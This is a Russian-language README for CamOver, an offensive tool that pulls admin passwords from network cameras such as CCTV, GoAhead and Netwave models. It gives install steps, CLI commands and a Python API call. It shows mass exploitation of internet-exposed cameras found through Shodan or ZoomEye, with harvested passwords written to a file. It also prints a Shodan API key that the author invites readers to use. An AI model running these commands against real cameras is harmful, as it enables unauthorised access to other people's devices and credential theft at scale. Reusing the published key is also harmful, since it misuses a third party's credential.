CamOver

CamOver — это инструмент эксплуатации камер, который позволяет раскрыть пароль администратора сетевой камеры.

Возможности

• Эксплуатирует уязвимости в наиболее популярных моделях камер, таких как CCTV, GoAhead и Netwave.
• Оптимизирован для единовременной эксплуатации нескольких камер из списка с поддержкой многопоточности.
• Простое использование через CLI и API.

Установка

pip3 install git+https://github.com/EntySec/CamOver

Базовое использование

Чтобы использовать CamOver, просто введите camover в терминале.

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
               [--zoomeye ZOOMEYE] [-p PAGES]

CamOver is a camera exploitation tool that allows to disclosure network camera
admin password.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Примеры

Эксплуатация одной камеры

Давайте взломаем мою камеру просто для развлечения.

camover -a 192.168.99.100

Эксплуатация камер из Интернета

Попробуем использовать поисковую систему Shodan для эксплуатации камер через Интернет; мы будем использовать её с ключом -t для быстрой эксплуатации.

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

ПРИМЕЧАНИЕ: Приведённый API-ключ Shodan (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) — это мой PRO API-ключ, вы можете использовать этот ключ или свой собственный; не стесняйтесь бесплатно пользоваться всеми нашими ресурсами :)

Эксплуатация камер из входного файла

Попробуем использовать открытую базу данных камер с ключом -t для быстрой эксплуатации.

camover -t -i cameras.txt -o passwords.txt

ПРИМЕЧАНИЕ: Будут эксплуатированы все камеры из списка cameras.txt по их адресам, и все полученные пароли будут сохранены в passwords.txt.

Использование API

CamOver также имеет собственный Python API, который можно вызвать, импортировав CamOver в свой код.

from camover import CamOver

Основные функции

Ниже приведены все основные функции CamOver, которые можно использовать для эксплуатации указанной камеры.

• exploit(address) — эксплуатирует одну камеру по заданному адресу.

Примеры

Эксплуатация одной камеры

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)